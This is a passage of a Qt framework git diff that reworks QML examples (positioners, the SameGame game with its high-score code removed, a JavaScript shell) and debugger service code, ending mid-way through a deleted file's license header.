Rectangle{
width: 360
- height: 540
+ height: 600
color: "#222222"
id: root
Image{
@@ -96,7 +96,7 @@ Rectangle{
FollowEmitter{
id: smoke1
width: root.width
- height: 232
+ height: 258
system: ps
particle: "smoke"
follow: "flame"
diff --git a/examples/declarative/positioners/positioners-attachedproperties.qml b/examples/declarative/positioners/positioners-attachedproperties.qml
new file mode 100644
index 0000000000..49638683e4
--- /dev/null
+++ b/examples/declarative/positioners/positioners-attachedproperties.qml
@@ -0,0 +1,66 @@
+import QtQuick 2.0
+
+Rectangle {
+ width: 400
+ height: 100
+
+ // Create row with four rectangles, the fourth one is hidden
+ Row {
+ id: row
+
+ Rectangle {
+ id: red
+ color: "red"
+ width: 100
+ height: 100
+
+ // When mouse is clicked, display the values of the positioner
+ MouseArea {
+ anchors.fill: parent
+ onClicked: row.showInfo(red.Positioner)
+ }
+ }
+
+ Rectangle {
+ id: green
+ color: "green"
+ width: 100
+ height: 100
+
+ // When mouse is clicked, display the values of the positioner
+ MouseArea {
+ anchors.fill: parent
+ onClicked: row.showInfo(green.Positioner)
+ }
+ }
+
+ Rectangle {
+ id: blue
+ color: "blue"
+ width: 100
+ height: 100
+
+ // When mouse is clicked, display the values of the positioner
+ MouseArea {
+ anchors.fill: parent
+ onClicked: row.showInfo(blue.Positioner)
+ }
+ }
+
+ // This rectangle is not visible, so it doesn't have a positioner value
+ Rectangle {
+ color: "black"
+ width: 100
+ height: 100
+ visible: false
+ }
+
+ // Print the index of the child item in the positioner and convenience
+ // properties showing if it's the first or last item.
+ function showInfo(positioner) {
+ console.log("Item Index = " + positioner.index)
+ console.log(" isFirstItem = " + positioner.isFirstItem)
+ console.log(" isLastItem = " + positioner.isLastItem)
+ }
+ }
+}
diff --git a/examples/declarative/samegame/SamegameCore/BoomBlock.qml b/examples/declarative/samegame/SamegameCore/BoomBlock.qml
index 2d8fdba2c9..4f8ef70851 100644
--- a/examples/declarative/samegame/SamegameCore/BoomBlock.qml
+++ b/examples/declarative/samegame/SamegameCore/BoomBlock.qml
@@ -47,6 +47,7 @@ Item {
property bool dying: false
property bool spawned: false
property int type: 0
+ property ParticleSystem particleSystem
Behavior on x {
enabled: spawned;
diff --git a/examples/declarative/samegame/SamegameCore/Dialog.qml b/examples/declarative/samegame/SamegameCore/Dialog.qml
index aea6ac7dda..eddc5caacc 100644
--- a/examples/declarative/samegame/SamegameCore/Dialog.qml
+++ b/examples/declarative/samegame/SamegameCore/Dialog.qml
@@ -43,6 +43,7 @@ import QtQuick 2.0
Rectangle {
id: page
+ anchors.centerIn: parent
property Item text: dialogText
property bool open: false
diff --git a/examples/declarative/samegame/SamegameCore/GameArea.qml b/examples/declarative/samegame/SamegameCore/GameArea.qml
new file mode 100644
index 0000000000..967e299577
--- /dev/null
+++ b/examples/declarative/samegame/SamegameCore/GameArea.qml
@@ -0,0 +1,91 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 2.0
+import QtQuick.Particles 2.0
+import "samegame.js" as Logic
+
+Item {
+ id: gameCanvas
+ property int score: 0
+ property int blockSize: 40
+ property ParticleSystem ps: particleSystem
+ Image {
+ id: background
+ anchors.fill: parent
+ z: -1
+ source: "pics/background.png"
+ fillMode: Image.PreserveAspectCrop
+ }
+
+ width: 480
+ height: 800
+ MouseArea {
+ anchors.fill: parent; onClicked: Logic.handleClick(mouse.x,mouse.y);
+ }
+ ParticleSystem{
+ id: particleSystem;
+ z:2
+ ImageParticle {
+ particles: ["red"]
+ color: Qt.darker("red");//Actually want desaturated...
+ source: "pics/particle.png"
+ colorVariation: 0.4
+ alpha: 0.1
+ }
+ ImageParticle {
+ particles: ["green"]
+ color: Qt.darker("green");//Actually want desaturated...
+ source: "pics/particle.png"
+ colorVariation: 0.4
+ alpha: 0.1
+ }
+ ImageParticle {
+ particles: ["blue"]
+ color: Qt.darker("blue");//Actually want desaturated...
+ source: "pics/particle.png"
+ colorVariation: 0.4
+ alpha: 0.1
+ }
+ anchors.fill: parent
+ }
+}
+
diff --git a/examples/declarative/samegame/SamegameCore/NameInputDialog.qml b/examples/declarative/samegame/SamegameCore/NameInputDialog.qml
new file mode 100644
index 0000000000..9b27d2f8a7
--- /dev/null
+++ b/examples/declarative/samegame/SamegameCore/NameInputDialog.qml
@@ -0,0 +1,93 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 2.0
+
+Dialog {
+ id: nameInputDialog
+
+ property int initialWidth: 0
+ property alias name: nameInputText.text
+
+ anchors.centerIn: parent
+ z: 22;
+
+ Behavior on width {
+ NumberAnimation {}
+ enabled: nameInputDialog.initialWidth != 0
+ }
+
+ signal accepted(string name)
+ onClosed: {
+ if (nameInputText.text != "")
+ accepted(name);
+ }
+ Text {
+ id: dialogText
+ anchors { left: nameInputDialog.left; leftMargin: 20; verticalCenter: parent.verticalCenter }
+ text: "You won! Please enter your name: "
+ }
+ MouseArea {
+ anchors.fill: parent
+ onClicked: {
+ if (nameInputText.text == "")
+ nameInputText.openSoftwareInputPanel();
+ else
+ nameInputDialog.forceClose();
+ }
+ }
+
+ TextInput {
+ id: nameInputText
+ anchors { verticalCenter: parent.verticalCenter; left: dialogText.right }
+ focus: visible
+ autoScroll: false
+ maximumLength: 24
+ onTextChanged: {
+ var newWidth = nameInputText.width + dialogText.width + 40;
+ if ( (newWidth > nameInputDialog.width && newWidth < screen.width)
+ || (nameInputDialog.width > nameInputDialog.initialWidth) )
+ nameInputDialog.width = newWidth;
+ }
+ onAccepted: {
+ nameInputDialog.forceClose();
+ }
+ }
+}
diff --git a/examples/declarative/samegame/SamegameCore/qmldir b/examples/declarative/samegame/SamegameCore/qmldir
deleted file mode 100644
index e17b1f5d2b..0000000000
--- a/examples/declarative/samegame/SamegameCore/qmldir
+++ /dev/null
@@ -1,3 +0,0 @@
-BoomBlock BoomBlock.qml
-Button Button.qml
-Dialog Dialog.qml
diff --git a/examples/declarative/samegame/SamegameCore/samegame.js b/examples/declarative/samegame/SamegameCore/samegame.js
index 4c5cbe5bb3..8c15af763a 100755
--- a/examples/declarative/samegame/SamegameCore/samegame.js
+++ b/examples/declarative/samegame/SamegameCore/samegame.js
@@ -1,4 +1,5 @@
/* This script file handles the game logic */
+.pragma library
var maxColumn = 10;
var maxRow = 15;
@@ -8,7 +9,10 @@ var blockSrc = "BoomBlock.qml";
var scoresURL = "";
var gameDuration;
var component = Qt.createComponent(blockSrc);
-var highScoreBar = 0;
+var highScoreBar = -1;
+var gameCanvas;
+var nameInputDialog = null;
+var dialog = null;
// Index function used instead of a 2D array
function index(column, row)
@@ -24,8 +28,9 @@ function timeStr(msecs)
return ret;
}
-function startNewGame()
+function startNewGame(gc)
{
+ gameCanvas = gc;
// Delete blocks from previous game
for (var i = 0; i < maxIndex; i++) {
if (board[i] != null)
@@ -38,8 +43,10 @@ function startNewGame()
maxIndex = maxRow * maxColumn;
// Close dialogs
- nameInputDialog.forceClose();
- dialog.forceClose();
+ if(nameInputDialog != null)
+ nameInputDialog.forceClose();
+ if(dialog != null)
+ dialog.forceClose();
// Initialize Board
board = new Array(maxIndex);
@@ -59,6 +66,10 @@ var floodBoard; // Set to 1 if the floodFill reaches off that node
// NOTE: Be careful with vars named x,y, as the calling object's x,y are still in scope
function handleClick(x,y)
{
+ if(gameCanvas == undefined){
+ console.log("But the game hasn't started yet!");
+ return;
+ }
var column = Math.floor(x/gameCanvas.blockSize);
var row = Math.floor(y/gameCanvas.blockSize);
if (column >= maxColumn || column < 0 || row >= maxRow || row < 0)
@@ -153,11 +164,18 @@ function victoryCheck()
// Checks for game over
if (deservesBonus || !(floodMoveCheck(0, maxRow - 1, -1))) {
gameDuration = new Date() - gameDuration;
+ if(nameInputDialog == null){
+ nameInputDialog = Qt.createQmlObject('import "."; import "samegame.js" as Logic; NameInputDialog{onAccepted: Logic.saveHighScore(name)}', gameCanvas, "highscoredialog.qml");
+ }
+ if(dialog == null){
+ dialog = Qt.createComponent("Dialog.qml").createObject(gameCanvas);
+ }
+ initHighScoreBar();
if(gameCanvas.score > highScoreBar){
nameInputDialog.show("You won! Please enter your name: ");
nameInputDialog.initialWidth = nameInputDialog.text.width + 20;
if (nameInputDialog.name == "")
- nameInputDialog.width = nameInputDialog.initialWidth;
+ nameInputDialog.width = nameInputDialog.initialWidth;
nameInputDialog.text.opacity = 0; // Just a spacer
}else{
dialog.show("You won!");
@@ -185,12 +203,13 @@ function createBlock(column,row)
// only work if the block QML is a local file. Otherwise the component will
// not be ready immediately. There is a statusChanged signal on the
// component you could use if you want to wait to load remote files.
- if(component.status == Component.Ready){
+ if(component.status == 1){
var dynamicObject = component.createObject(gameCanvas,
{"type": Math.floor(Math.random() * 3),
"x": column*gameCanvas.blockSize,
"width": gameCanvas.blockSize,
- "height": gameCanvas.blockSize});
+ "height": gameCanvas.blockSize,
+ "particleSystem": gameCanvas.ps});
if(dynamicObject == null){
console.log("error creating block");
console.log(component.errorString());
@@ -210,8 +229,6 @@ function createBlock(column,row)
function initHighScoreBar()
{
- if(scoresURL != "")
- return true;//don't query remote scores
var db = openDatabaseSync(
"SameGameScores",
"1.0",
@@ -270,19 +287,3 @@ function saveHighScore(name)
}
);
}
-
-function sendHighScore(name)
-{
- var postman = new XMLHttpRequest()
- var postData = "name=" + name + "&score=" + gameCanvas.score
- + "&gridSize=" + maxColumn + "x" + maxRow
- + "&time=" + Math.floor(gameDuration / 1000);
- postman.open("POST", scoresURL, true);
- postman.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
- postman.onreadystatechange = function() {
- if (postman.readyState == postman.DONE) {
- dialog.show("Your score has been uploaded.");
- }
- }
- postman.send(postData);
-}
diff --git a/examples/declarative/samegame/highscores/README b/examples/declarative/samegame/highscores/README
deleted file mode 100644
index eaa00fae37..0000000000
--- a/examples/declarative/samegame/highscores/README
+++ /dev/null
@@ -1 +0,0 @@
-The SameGame example can interface with a simple PHP script to store XML high score data on a remote server. We do not have a publically accessible server available for this use, but if you have access to a PHP capable webserver you can copy the files (score_data.xml, score.php, score_style.xsl) to it and alter the highscore_server variable at the top of the samegame.js file to point to it.
diff --git a/examples/declarative/samegame/highscores/score_data.xml b/examples/declarative/samegame/highscores/score_data.xml
deleted file mode 100755
index c3fd90d9cf..0000000000
--- a/examples/declarative/samegame/highscores/score_data.xml
+++ /dev/null
@@ -1,2 +0,0 @@
-<record><score>1000000</score><name>Alan the Tester</name><gridSize>0x0</gridSize><seconds>0</seconds></record>
-<record><score>6213</score><name>Alan</name><gridSize>12x17</gridSize><seconds>51</seconds></record>
diff --git a/examples/declarative/samegame/highscores/score_style.xsl b/examples/declarative/samegame/highscores/score_style.xsl
deleted file mode 100755
index 670354c965..0000000000
--- a/examples/declarative/samegame/highscores/score_style.xsl
+++ /dev/null
@@ -1,28 +0,0 @@
-<?xml version="1.0" encoding="ISO-8859-1"?>
-<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
-<xsl:template match="/">
- <html>
- <head><title>SameGame High Scores</title></head>
- <body>
- <h2>SameGame High Scores</h2>
- <table border="1">
- <tr bgcolor="lightsteelblue">
- <th>Name</th>
- <th>Score</th>
- <th>Grid Size</th>
- <th>Time, s</th>
- </tr>
- <xsl:for-each select="records/record">
- <xsl:sort select="score" data-type="number" order="descending"/>
- <tr>
- <td><xsl:value-of select="name"/></td>
- <td><xsl:value-of select="score"/></td>
- <td><xsl:value-of select="gridSize"/></td>
- <td><xsl:value-of select="seconds"/></td>
- </tr>
- </xsl:for-each>
- </table>
- </body>
- </html>
-</xsl:template>
-</xsl:stylesheet>
diff --git a/examples/declarative/samegame/highscores/scores.php b/examples/declarative/samegame/highscores/scores.php
deleted file mode 100755
index 3cceb2d738..0000000000
--- a/examples/declarative/samegame/highscores/scores.php
+++ /dev/null
@@ -1,34 +0,0 @@
-<?php
- $score = $_POST["score"];
- echo "<html>";
- echo "<head><title>SameGame High Scores</title></head><body>";
- if($score > 0){#Sending in a new high score
- $name = $_POST["name"];
- $grid = $_POST["gridSize"];
- $time = $_POST["time"];
- if($name == "")
- $name = "Anonymous";
- //if($grid != "10x10"){
- //Need a standard, so as to reject others?
- //}
- $file = fopen("score_data.xml", "a"); #It's XML. Happy?
- $ret = fwrite($file, "<record><score>". $score . "</score><name>"
- . $name . "</name><gridSize>" . $grid . "</gridSize><seconds>"
- . $time . "</seconds></record>\n");
- echo "Your score has been recorded. Thanks for playing!";
- if($ret == False)
- echo "<br/> There was an error though, so don't expect to see that score again.";
- }else{#Read high score list
- #Now uses XSLT to display. So just print the file. With XML cruft added.
- #Note that firefox at least won't apply the XSLT on a php file. So redirecting
- $file = fopen("scores.xml", "w");
- $ret = fwrite($file, '<?xml version="1.0" encoding="ISO-8859-1"?>' . "\n"
- . '<?xml-stylesheet type="text/xsl" href="score_style.xsl"?>' . "\n"
- . "<records>\n" . file_get_contents("score_data.xml") . "</records>\n");
- if($ret == False)
- echo "There was an internal error. Sorry.";
- else
- echo '<script type="text/javascript">window.location.replace("scores.xml")</script>';
- }
- echo "</body></html>";
-?>
diff --git a/examples/declarative/samegame/samegame.qml b/examples/declarative/samegame/samegame.qml
index 887cfe1cc9..baf5b8e926 100644
--- a/examples/declarative/samegame/samegame.qml
+++ b/examples/declarative/samegame/samegame.qml
@@ -46,143 +46,38 @@ import "SamegameCore/samegame.js" as Logic
Rectangle {
id: screen
- width: 360; height: 640
- property bool inAnotherDemo: false //Samegame often is just plonked straight into other examples
+ width: 480; height: 640
SystemPalette { id: activePalette }
- Item {
+ GameArea {
+ id: gameCanvas
width: parent.width
anchors { top: parent.top; bottom: toolBar.top }
-
- Image {
- id: background
- anchors.fill: parent
- source: "SamegameCore/pics/background.png"
- fillMode: Image.PreserveAspectCrop
- }
-
- Item {
- id: gameCanvas
- property int score: 0
- property int blockSize: 40
-
- z: 20; anchors.centerIn: parent
- width: parent.width - (parent.width % blockSize);
- height: parent.height - (parent.height % blockSize);
-
- MouseArea {
- anchors.fill: parent; onClicked: Logic.handleClick(mouse.x,mouse.y);
- }
- }
- Item{
- ParticleSystem{ id: particleSystem; }
- ImageParticle {
- system: particleSystem
- particles: ["red"]
- color: Qt.darker("red");//Actually want desaturated...
- source: "SamegameCore/pics/particle.png"
- colorVariation: 0.4
- alpha: 0.1
- }
- ImageParticle {
- system: particleSystem
- particles: ["green"]
- color: Qt.darker("green");//Actually want desaturated...
- source: "SamegameCore/pics/particle.png"
- colorVariation: 0.4
- alpha: 0.1
- }
- ImageParticle {
- system: particleSystem
- particles: ["blue"]
- color: Qt.darker("blue");//Actually want desaturated...
- source: "SamegameCore/pics/particle.png"
- colorVariation: 0.4
- alpha: 0.1
- }
- id: aboveGameCanvas
- anchors.fill: gameCanvas
- z: gameCanvas.z + 1
- }
- }
-
- Dialog { id: dialog; anchors.centerIn: parent; z: 21 }
-
- Dialog {
- id: nameInputDialog
-
- property int initialWidth: 0
- property alias name: nameInputText.text
-
- anchors.centerIn: parent
- z: 22;
-
- Behavior on width {
- NumberAnimation {}
- enabled: nameInputDialog.initialWidth != 0
- }
-
- onClosed: {
- if (nameInputText.text != "")
- Logic.saveHighScore(nameInputText.text);
- }
- Text {
- id: dialogText
- anchors { left: nameInputDialog.left; leftMargin: 20; verticalCenter: parent.verticalCenter }
- text: "You won! Please enter your name: "
- }
- MouseArea {
- anchors.fill: parent
- onClicked: {
- if (nameInputText.text == "")
- nameInputText.openSoftwareInputPanel();
- else
- nameInputDialog.forceClose();
- }
- }
-
- TextInput {
- id: nameInputText
- anchors { verticalCenter: parent.verticalCenter; left: dialogText.right }
- focus: visible
- autoScroll: false
- maximumLength: 24
- onTextChanged: {
- var newWidth = nameInputText.width + dialogText.width + 40;
- if ( (newWidth > nameInputDialog.width && newWidth < screen.width)
- || (nameInputDialog.width > nameInputDialog.initialWidth) )
- nameInputDialog.width = newWidth;
- }
- onAccepted: {
- nameInputDialog.forceClose();
- }
- }
}
Rectangle {
id: toolBar
- width: parent.width; height: 58
+ width: parent.width; height: 80
color: activePalette.window
anchors.bottom: screen.bottom
Button {
id: newGameButton
- anchors { left: parent.left; leftMargin: 3; verticalCenter: parent.verticalCenter }
+ anchors { left: parent.left; leftMargin: 12; verticalCenter: parent.verticalCenter }
text: "New Game"
- onClicked: Logic.startNewGame()
+ onClicked: Logic.startNewGame(gameCanvas)
}
Button {
- visible: !inAnotherDemo
text: "Quit"
- anchors { left: newGameButton.right; leftMargin: 3; verticalCenter: parent.verticalCenter }
+ anchors { left: newGameButton.right; leftMargin: 12; verticalCenter: parent.verticalCenter }
onClicked: Qt.quit();
}
Text {
id: score
- anchors { right: parent.right; rightMargin: 3; verticalCenter: parent.verticalCenter }
+ anchors { right: parent.right; rightMargin: 12; verticalCenter: parent.verticalCenter }
text: "Score: " + gameCanvas.score
font.bold: true
font.pixelSize: 24
diff --git a/examples/declarative/script/script.pro b/examples/declarative/script/script.pro
new file mode 100644
index 0000000000..98c1bbc5ee
--- /dev/null
+++ b/examples/declarative/script/script.pro
@@ -0,0 +1,4 @@
+TEMPLATE = subdirs
+
+SUBDIRS = \
+ shell
diff --git a/examples/declarative/script/shell/main.cpp b/examples/declarative/script/shell/main.cpp
new file mode 100644
index 0000000000..ad29fb87e1
--- /dev/null
+++ b/examples/declarative/script/shell/main.cpp
@@ -0,0 +1,153 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+
+#include <QtCore/qfile.h>
+#include <QtCore/qtextstream.h>
+#include <QtCore/qstringlist.h>
+#include <QtCore/qscopedpointer.h>
+
+#include <QtGui/qapplication.h>
+
+#include <QtDeclarative/qjsengine.h>
+
+#include <stdlib.h>
+
+
+class CommandInterface : public QObject
+{
+ Q_OBJECT
+public:
+ Q_INVOKABLE void quit() { m_wantsToQuit = true; }
+ static bool wantsToQuit() { return m_wantsToQuit; }
+private:
+ static bool m_wantsToQuit;
+};
+
+bool CommandInterface::m_wantsToQuit = false;
+
+
+static void interactive(QJSEngine *eng)
+{
+ QTextStream qin(stdin, QFile::ReadOnly);
+ const char *prompt = "qs> ";
+
+ forever {
+ QString line;
+
+ printf("%s", prompt);
+ fflush(stdout);
+
+ line = qin.readLine();
+ if (line.isNull())
+ break;
+
+ if (line.trimmed().isEmpty())
+ continue;
+
+ line += QLatin1Char('\n');
+
+ QJSValue result = eng->evaluate(line, QLatin1String("typein"));
+
+ fprintf(stderr, "%s\n", qPrintable(result.toString()));
+
+ if (CommandInterface::wantsToQuit())
+ break;
+ }
+}
+
+int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+ QScopedPointer<QJSEngine> eng(new QJSEngine());
+ {
+ QJSValue globalObject = eng->globalObject();
+ QJSValue interface = eng->newQObject(new CommandInterface);
+ globalObject.setProperty("qt", interface);
+ }
+
+ if (! *++argv) {
+ interactive(eng.data());
+ return EXIT_SUCCESS;
+ }
+
+ while (const char *arg = *argv++) {
+ QString fileName = QString::fromLocal8Bit(arg);
+
+ if (fileName == QLatin1String("-i")) {
+ interactive(eng.data());
+ break;
+ }
+
+ QString contents;
+ int lineNumber = 1;
+
+ if (fileName == QLatin1String("-")) {
+ QTextStream stream(stdin, QFile::ReadOnly);
+ contents = stream.readAll();
+ } else {
+ QFile file(fileName);
+ if (file.open(QFile::ReadOnly)) {
+ QTextStream stream(&file);
+ contents = stream.readAll();
+ file.close();
+
+ // strip off #!/usr/bin/env qjs line
+ if (contents.startsWith("#!")) {
+ contents.remove(0, contents.indexOf("\n"));
+ ++lineNumber;
+ }
+ }
+ }
+
+ if (contents.isEmpty())
+ continue;
+
+ QJSValue result = eng->evaluate(contents, fileName, lineNumber);
+ if (eng->hasUncaughtException()) {
+ fprintf (stderr, " %s\n\n", qPrintable(result.toString()));
+ return EXIT_FAILURE;
+ }
+ }
+
+ return EXIT_SUCCESS;
+}
+
+#include <main.moc> \ No newline at end of file
diff --git a/examples/declarative/script/shell/shell.pro b/examples/declarative/script/shell/shell.pro
new file mode 100644
index 0000000000..7ddc06b3c4
--- /dev/null
+++ b/examples/declarative/script/shell/shell.pro
@@ -0,0 +1,8 @@
+QT += declarative
+
+win32: CONFIG += console
+mac:CONFIG -= app_bundle
+symbian: CONFIG += qt_example
+
+SOURCES += main.cpp
+
diff --git a/src/declarative/debugger/debugger.pri b/src/declarative/debugger/debugger.pri
index 3134c79d98..e7462d4e78 100644
--- a/src/declarative/debugger/debugger.pri
+++ b/src/declarative/debugger/debugger.pri
@@ -10,8 +10,7 @@ SOURCES += \
$$PWD/qdeclarativedebughelper.cpp \
$$PWD/qdeclarativedebugserver.cpp \
$$PWD/qdeclarativeinspectorservice.cpp \
- $$PWD/qjsdebuggeragent.cpp \
- $$PWD/qjsdebugservice.cpp
+ $$PWD/qv8debugservice.cpp
HEADERS += \
$$PWD/qdeclarativedebuggerstatus_p.h \
@@ -26,5 +25,4 @@ HEADERS += \
$$PWD/qdeclarativedebugserverconnection_p.h \
$$PWD/qdeclarativeinspectorservice_p.h \
$$PWD/qdeclarativeinspectorinterface_p.h \
- $$PWD/qjsdebuggeragent_p.h \
- $$PWD/qjsdebugservice_p.h
+ $$PWD/qv8debugservice_p.h
diff --git a/src/declarative/debugger/qdeclarativedebugserver.cpp b/src/declarative/debugger/qdeclarativedebugserver.cpp
index a69e01a6fe..e7785d0f90 100644
--- a/src/declarative/debugger/qdeclarativedebugserver.cpp
+++ b/src/declarative/debugger/qdeclarativedebugserver.cpp
@@ -91,6 +91,7 @@ public:
QStringList clientPlugins;
bool gotHello;
QString waitingForMsgFromService;
+ bool waitingForMsgSucceeded;
private:
// private slot
@@ -100,7 +101,8 @@ private:
QDeclarativeDebugServerPrivate::QDeclarativeDebugServerPrivate() :
connection(0),
- gotHello(false)
+ gotHello(false),
+ waitingForMsgSucceeded(false)
{
}
@@ -313,7 +315,7 @@ void QDeclarativeDebugServer::receiveMessage(const QByteArray &message)
if (d->waitingForMsgFromService == name) {
// deliver directly so that it is delivered before waitForMessage is returning.
d->_q_deliverMessage(name, message);
- d->waitingForMsgFromService.clear();
+ d->waitingForMsgSucceeded = true;
} else {
// deliver message in next event loop run.
// Fixes the case that the service does start it's own event loop ...,
@@ -403,11 +405,13 @@ bool QDeclarativeDebugServer::waitForMessage(QDeclarativeDebugService *service)
|| !d->waitingForMsgFromService.isEmpty())
return false;
+ d->waitingForMsgSucceeded = false;
d->waitingForMsgFromService = service->name();
do {
d->connection->waitForMessage();
- } while (!d->waitingForMsgFromService.isEmpty());
+ } while (!d->waitingForMsgSucceeded);
+ d->waitingForMsgFromService.clear();
return true;
}
diff --git a/src/declarative/debugger/qdeclarativedebugservice.cpp b/src/declarative/debugger/qdeclarativedebugservice.cpp
index 969ab35ce8..7274211bf2 100644
--- a/src/declarative/debugger/qdeclarativedebugservice.cpp
+++ b/src/declarative/debugger/qdeclarativedebugservice.cpp
@@ -72,6 +72,26 @@ QDeclarativeDebugService::QDeclarativeDebugService(const QString &name, QObject
}
}
+QDeclarativeDebugService::QDeclarativeDebugService(QDeclarativeDebugServicePrivate &dd,
+ const QString &name, QObject *parent)
+ : QObject(dd, parent)
+{
+ Q_D(QDeclarativeDebugService);
+ d->name = name;
+ d->server = QDeclarativeDebugServer::instance();
+ d->status = QDeclarativeDebugService::NotConnected;
+
+ if (!d->server)
+ return;
+
+ if (d->server->serviceNames().contains(name)) {
+ qWarning() << "QDeclarativeDebugService: Conflicting plugin name" << name;
+ d->server = 0;
+ } else {
+ d->server->addService(this);
+ }
+}
+
QDeclarativeDebugService::~QDeclarativeDebugService()
{
Q_D(const QDeclarativeDebugService);
diff --git a/src/declarative/debugger/qdeclarativedebugservice_p.h b/src/declarative/debugger/qdeclarativedebugservice_p.h
index 4f1f1a6bd8..84e63c0ddc 100644
--- a/src/declarative/debugger/qdeclarativedebugservice_p.h
+++ b/src/declarative/debugger/qdeclarativedebugservice_p.h
@@ -80,6 +80,7 @@ public:
static bool hasDebuggingClient();
protected:
+ QDeclarativeDebugService(QDeclarativeDebugServicePrivate &dd, const QString &, QObject *parent = 0);
virtual void statusChanged(Status);
virtual void messageReceived(const QByteArray &);
diff --git a/src/declarative/debugger/qjsdebuggeragent.cpp b/src/declarative/debugger/qjsdebuggeragent.cpp
deleted file mode 100644
index f47def802a..0000000000
--- a/src/declarative/debugger/qjsdebuggeragent.cpp
+++ /dev/null
@@ -1,571 +0,0 @@
-/****************************************************************************
-**
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
-** All rights reserved.
-** Contact: Nokia Corporation (qt-info@nokia.com)
-**
-** This file is part of the QtDeclarative module of the Qt Toolkit.
-**
-** $QT_BEGIN_LICENSE:LGPL$
-** GNU Lesser General Public License Usage
-** This file may be used under the terms of the GNU Lesser General Public
-** License version 2.1 as published by the Free Software Foundation and
-** appearing in the file LICENSE.LGPL included in the packaging of this
-** file. Please review the following information to ensure the GNU Lesser
-** General Public License version 2.1 requirements will be met:
-** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
-**
-** In addition, as a special exception, Nokia gives you certain additional
-** rights. These rights are described in the Nokia Qt LGPL Exception
-** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
-**
-** GNU General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU General
-** Public License version 3.0 as published by the Free Software Foundation
-** and appearing in the file LICENSE.GPL included in the packaging of this
-** file. Please review the following information to ensure the GNU General
